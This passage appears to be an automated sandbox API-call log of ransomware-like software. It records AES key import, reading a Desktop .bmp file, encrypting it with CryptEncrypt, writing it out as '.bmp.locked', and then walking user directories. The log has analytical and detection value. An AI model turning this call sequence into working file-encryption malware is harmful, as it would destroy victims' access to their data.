(param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x2d34\x22d\x1f9b\x41c3\x7a3b\xdfbe\x223c\xc5f3") returned 0x28 [0128.493] SystemFunction041 (in: Memory=0x8e6f8f4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e6f8f4) returned 0x0 [0128.493] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYmY0N굥ᑋ") returned 0x28 [0128.493] SystemFunction040 (in: Memory=0x8e6f8f4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e6f8f4) returned 0x0 [0128.493] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x70e7\x9778\xf41b\x35a4\x29ea\x7616\x9cd\x19e3") returned 0x28 [0128.493] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x70e7\x9778\xf41b\x35a4\x29ea\x7616\x9cd\x19e3") returned 0x28 [0128.493] SystemFunction041 (in: Memory=0x8e6f8f4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e6f8f4) returned 0x0 [0128.493] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYmY0NTᑋ") returned 0x28 [0128.493] SystemFunction040 (in: Memory=0x8e6f8f4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e6f8f4) returned 0x0 [0128.493] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x46cc\x8f10\x2a8e\x376c\x9fc1\x19c4\x83b7\x6d7c") returned 0x28 [0128.493] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x46cc\x8f10\x2a8e\x376c\x9fc1\x19c4\x83b7\x6d7c") returned 0x28 [0128.493] SystemFunction041 (in: Memory=0x8e6f8f4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e6f8f4) returned 0x0 [0128.493] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYmY0NTAᑋ") returned 0x28 [0128.493] SystemFunction040 (in: Memory=0x8e6f8f4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e6f8f4) returned 0x0 [0128.493] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\xfed7\xc832\xd0f1\x4f86\x1ac\x2010\xca10\x76f8") returned 0x28 [0128.493] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\xfed7\xc832\xd0f1\x4f86\x1ac\x2010\xca10\x76f8") returned 0x28 [0128.493] SystemFunction041 (in: Memory=0x8e6f8f4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e6f8f4) returned 0x0 [0128.493] SystemFunction040 (in: Memory=0x8e6f8f4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e6f8f4) returned 0x0 [0128.493] SystemFunction041 (in: Memory=0x8e3092c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e3092c) returned 0x0 [0128.494] SystemFunction040 (in: Memory=0x8e3092c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e3092c) returned 0x0 [0128.494] SystemFunction041 (in: Memory=0x8e3092c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e3092c) returned 0x0 [0128.494] SystemFunction040 (in: Memory=0x8e3092c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e3092c) returned 0x0 [0128.494] SystemFunction041 (in: Memory=0x8e3092c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e3092c) returned 0x0 [0128.494] SystemFunction040 (in: Memory=0x8e3092c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e3092c) returned 0x0 [0128.494] SystemFunction041 (in: Memory=0x8e3092c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e3092c) returned 0x0 [0128.494] SystemFunction040 (in: Memory=0x8e3092c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e3092c) returned 0x0 [0128.494] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae960*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae960*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x7e, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0128.494] SystemFunction041 (in: Memory=0x8e3092c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e3092c) returned 0x0 [0128.494] SystemFunction040 (in: Memory=0x8e3092c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e3092c) returned 0x0 [0128.495] CryptAcquireContextW (in: phProv=0x99ae6e0, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x99ae6e0*=0x8e02828) returned 1 [0128.495] CryptImportKey (in: hProv=0x8e02828, pbData=0x69ea228, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x1, phKey=0x99aeab8 | out: phKey=0x99aeab8*=0x8e84cf8) returned 1 [0128.495] CryptContextAddRef (hProv=0x8e02828, pdwReserved=0x0, dwFlags=0x0) returned 1 [0128.496] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae7b8, nSize=0x100 | out: lpBuffer="\xa120\x69e") returned 0x0 [0128.496] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99aeb90*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aeb90*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x7f, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0128.496] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99aeaf0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aeaf0*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x7e, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0128.496] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99aeb80*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x7f, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99aeb80*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x7f, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0128.497] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\OqtVBc3Qo2qAnhFLH2.bmp" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\oqtvbc3qo2qanhflh2.bmp")) returned 0x20 [0128.497] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\OqtVBc3Qo2qAnhFLH2.bmp" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\oqtvbc3qo2qanhflh2.bmp")) returned 0x20 [0128.497] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\OqtVBc3Qo2qAnhFLH2.bmp", nBufferLength=0x105, lpBuffer=0x99ae470, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\OqtVBc3Qo2qAnhFLH2.bmp", lpFilePart=0x0) returned 0x34 [0128.497] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\OqtVBc3Qo2qAnhFLH2.bmp", nBufferLength=0x105, lpBuffer=0x99ae434, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\OqtVBc3Qo2qAnhFLH2.bmp", lpFilePart=0x0) returned 0x34 [0128.497] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99aeb1c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aeb1c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x7f, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0128.497] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\OqtVBc3Qo2qAnhFLH2.bmp", nBufferLength=0x105, lpBuffer=0x99ae1bc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\OqtVBc3Qo2qAnhFLH2.bmp", lpFilePart=0x0) returned 0x34 [0128.498] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\OqtVBc3Qo2qAnhFLH2.bmp", nBufferLength=0x105, lpBuffer=0x99ae1bc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\OqtVBc3Qo2qAnhFLH2.bmp", lpFilePart=0x0) returned 0x34 [0128.498] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae2c4, nSize=0x100 | out: lpBuffer="") returned 0x0 [0128.498] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae69c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae69c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x80, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0128.498] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae5fc*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae5fc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x7f, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0128.498] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae68c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x80, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae68c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x80, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0128.498] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\OqtVBc3Qo2qAnhFLH2.bmp", nBufferLength=0x105, lpBuffer=0x99ada90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\OqtVBc3Qo2qAnhFLH2.bmp", lpFilePart=0x0) returned 0x34 [0128.498] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99adf84) returned 1 [0128.498] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\OqtVBc3Qo2qAnhFLH2.bmp" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\oqtvbc3qo2qanhflh2.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x874 [0128.499] GetFileType (hFile=0x874) returned 0x1 [0128.499] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99adf80) returned 1 [0128.499] GetFileType (hFile=0x874) returned 0x1 [0128.499] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae628*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae628*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x80, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0128.500] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae2c4, nSize=0x100 | out: lpBuffer="\x1000\x727a\xe3b0\x99a\x2810\x64b\x1228\x64b\xbab0\x42f\x14\x01\x1230\x64b\xd440\x73ae\x20") returned 0x0 [0128.500] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae69c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae69c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x81, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0128.500] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae5fc*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae5fc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x80, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0128.500] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae68c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x81, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae68c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x81, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0128.500] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\OqtVBc3Qo2qAnhFLH2.bmp.locked", nBufferLength=0x105, lpBuffer=0x99ada90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\OqtVBc3Qo2qAnhFLH2.bmp.locked", lpFilePart=0x0) returned 0x3b [0128.500] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99adf84) returned 1 [0128.500] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\OqtVBc3Qo2qAnhFLH2.bmp.locked" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\oqtvbc3qo2qanhflh2.bmp.locked"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x868 [0128.500] GetFileType (hFile=0x868) returned 0x1 [0128.500] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99adf80) returned 1 [0128.501] GetFileType (hFile=0x868) returned 0x1 [0128.501] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae628*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae628*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x81, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0128.501] CryptGenRandom (in: hProv=0x8e02828, dwLen=0x10, pbBuffer=0x69fff40 | out: pbBuffer=0x69fff40) returned 1 [0128.502] CryptContextAddRef (hProv=0x8e02828, pdwReserved=0x0, dwFlags=0x0) returned 1 [0128.502] CryptDuplicateKey (in: hKey=0x8e84cf8, pdwReserved=0x0, dwFlags=0x0, phKey=0x99ae6bc | out: phKey=0x99ae6bc*=0x8e84b78) returned 1 [0128.502] CryptContextAddRef (hProv=0x8e02828, pdwReserved=0x0, dwFlags=0x0) returned 1 [0128.502] CryptSetKeyParam (hKey=0x8e84b78, dwParam=0x4, pbData=0x6a011fc*=0x1, dwFlags=0x0) returned 1 [0128.502] CryptSetKeyParam (hKey=0x8e84b78, dwParam=0x1, pbData=0x6a011c8, dwFlags=0x0) returned 1 [0128.502] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae2c4, nSize=0x100 | out: lpBuffer="\xe2f0\x99a\x18b2\x7477\xfea0\x437\x242") returned 0x0 [0128.502] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae69c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae69c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x82, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0128.502] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae5fc*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae5fc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x81, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0128.503] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae68c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x82, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae68c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x82, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0128.503] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae628*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae628*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x82, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0128.503] ReadFile (in: hFile=0x874, lpBuffer=0x6a04758, nNumberOfBytesToRead=0x14000, lpNumberOfBytesRead=0x99ae6cc, lpOverlapped=0x0 | out: lpBuffer=0x6a04758*, lpNumberOfBytesRead=0x99ae6cc*=0x14000, lpOverlapped=0x0) returned 1 [0128.503] CryptEncrypt (in: hKey=0x8e84b78, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6a18764*, pdwDataLen=0x99ae6c0*=0x14000, dwBufLen=0x14000 | out: pbData=0x6a18764*, pdwDataLen=0x99ae6c0*=0x14000) returned 1 [0128.504] WriteFile (in: hFile=0x868, lpBuffer=0x6a00000*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x99ae6a4, lpOverlapped=0x0 | out: lpBuffer=0x6a00000*, lpNumberOfBytesWritten=0x99ae6a4*=0x1000, lpOverlapped=0x0) returned 1 [0128.505] WriteFile (in: hFile=0x868, lpBuffer=0x6a19750*, nNumberOfBytesToWrite=0x13014, lpNumberOfBytesWritten=0x99ae6a4, lpOverlapped=0x0 | out: lpBuffer=0x6a19750*, lpNumberOfBytesWritten=0x99ae6a4*=0x13014, lpOverlapped=0x0) returned 1 [0128.506] ReadFile (in: hFile=0x874, lpBuffer=0x6a04758, nNumberOfBytesToRead=0x14000, lpNumberOfBytesRead=0x99ae6cc, lpOverlapped=0x0 | out: lpBuffer=0x6a04758*, lpNumberOfBytesRead=0x99ae6cc*=0x48e2, lpOverlapped=0x0) returned 1 [0128.506] CryptEncrypt (in: hKey=0x8e84b78, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6a2c788*, pdwDataLen=0x99ae6c0*=0x48e0, dwBufLen=0x48e0 | out: pbData=0x6a2c788*, pdwDataLen=0x99ae6c0*=0x48e0) returned 1 [0128.506] WriteFile (in: hFile=0x868, lpBuffer=0x6a2c788*, nNumberOfBytesToWrite=0x48e0, lpNumberOfBytesWritten=0x99ae6a4, lpOverlapped=0x0 | out: lpBuffer=0x6a2c788*, lpNumberOfBytesWritten=0x99ae6a4*=0x48e0, lpOverlapped=0x0) returned 1 [0128.507] ReadFile (in: hFile=0x874, lpBuffer=0x6a04758, nNumberOfBytesToRead=0x14000, lpNumberOfBytesRead=0x99ae6cc, lpOverlapped=0x0 | out: lpBuffer=0x6a04758*, lpNumberOfBytesRead=0x99ae6cc*=0x0, lpOverlapped=0x0) returned 1 [0128.507] CryptEncrypt (in: hKey=0x8e84b78, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6a3108c*, pdwDataLen=0x99ae714*=0x10, dwBufLen=0x10 | out: pbData=0x6a3108c*, pdwDataLen=0x99ae714*=0x10) returned 1 [0128.507] CryptEncrypt (in: hKey=0x8e84b78, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x6a310c0*, pdwDataLen=0x99ae71c*=0x0, dwBufLen=0x10 | out: pbData=0x6a310c0*, pdwDataLen=0x99ae71c*=0x10) returned 1 [0128.507] WriteFile (in: hFile=0x868, lpBuffer=0x6a00000*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x99ae6ec, lpOverlapped=0x0 | out: lpBuffer=0x6a00000*, lpNumberOfBytesWritten=0x99ae6ec*=0x10, lpOverlapped=0x0) returned 1 [0128.507] CloseHandle (hObject=0x868) returned 1 [0128.511] CloseHandle (hObject=0x874) returned 1 [0128.512] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\OqtVBc3Qo2qAnhFLH2.bmp", nBufferLength=0x105, lpBuffer=0x99ae1bc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\OqtVBc3Qo2qAnhFLH2.bmp", lpFilePart=0x0) returned 0x34 [0128.512] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae2c4, nSize=0x100 | out: lpBuffer="") returned 0x0 [0128.512] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae69c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae69c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x83, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0128.512] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae5fc*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae5fc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x82, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0128.512] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae68c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x83, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae68c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x83, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0128.513] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\OqtVBc3Qo2qAnhFLH2.bmp" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\oqtvbc3qo2qanhflh2.bmp")) returned 0x20 [0128.514] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\OqtVBc3Qo2qAnhFLH2.bmp", nBufferLength=0x105, lpBuffer=0x99adec4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\OqtVBc3Qo2qAnhFLH2.bmp", lpFilePart=0x0) returned 0x34 [0128.514] GetFileAttributesW (lpFileName="C:\\" (normalized: "c:")) returned 0x16 [0128.514] GetFileAttributesW (lpFileName="C:\\" (normalized: "c:")) returned 0x16 [0128.514] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x105, lpBuffer=0x99ade48, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0128.514] GetFullPathNameW (in: lpFileName="C:\\.", nBufferLength=0x105, lpBuffer=0x99adde0, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0128.514] GetFileAttributesW (lpFileName="C:\\Users" (normalized: "c:\\users")) returned 0x11 [0128.515] GetFileAttributesW (lpFileName="C:\\Users" (normalized: "c:\\users")) returned 0x11 [0128.515] GetFullPathNameW (in: lpFileName="C:\\Users", nBufferLength=0x105, lpBuffer=0x99ade48, lpFilePart=0x0 | out: lpBuffer="C:\\Users", lpFilePart=0x0) returned 0x8 [0128.515] GetFullPathNameW (in: lpFileName="C:\\Users\\.", nBufferLength=0x105, lpBuffer=0x99adde0, lpFilePart=0x0 | out: lpBuffer="C:\\Users", lpFilePart=0x0) returned 0x8 [0128.515] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps" (normalized: "c:\\users\\ciihmnxmn6ps")) returned 0x10 [0128.515] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps" (normalized: "c:\\users\\ciihmnxmn6ps")) returned 0x10 [0128.515] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps", nBufferLength=0x105, lpBuffer=0x99ade48, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps", lpFilePart=0x0) returned 0x15 [0128.515] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\.", nBufferLength=0x105, lpBuffer=0x99adde0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps", lpFilePart=0x0) returned 0x15 [0128.515] GetFileAttributesW 